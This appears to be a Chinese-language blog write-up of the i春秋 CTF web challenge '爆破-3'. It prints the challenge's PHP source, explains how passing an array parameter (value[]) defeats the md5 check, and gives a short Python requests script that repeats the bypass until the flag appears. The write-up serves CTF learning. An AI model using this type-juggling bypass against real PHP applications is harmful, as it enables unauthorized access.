1. 程式人生 > >i春秋 CTF misc web:爆破-3

i春秋 CTF misc web:爆破-3

題目提示:這個真的是爆破。

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

與前兩個題類似,先進行程式碼審計。
$value = $_REQUEST[‘value’];可以看出PHP將值儲存到value中。即xxx.php?value=x
由if判斷條件看出
SESSION[‘whoami’]應與value的第1第2個字元相同(即value=eaxxxx),並且進行MD5加密。(經百度得知,陣列型別不進行MD5加密,所以想法是傳value[])
最後的if得出需要經過11次才能顯示flag。
之後進項爆破,可以手動,可以利用Python指令碼
手動爆破:
在這裡插入圖片描述
在這裡插入圖片描述
一共需要進行重複10次
最後會出來flag
在這裡插入圖片描述
python指令碼注入:(Python指令碼注入原理與手工注入相同)

import requests

url='http://2b974b9732094bcf9490176750686b3871a7cfcaf44c47fe.game.ichunqiu.com?value[]='

a=requests.session()
b=a.get(url+'ea')

for i in range(11):
	c=a.get(url+b.text[:2])
	b=c
	print(b.text)
	pass

將指令碼執行完,只需看最後一個輸出就行。
在這裡插入圖片描述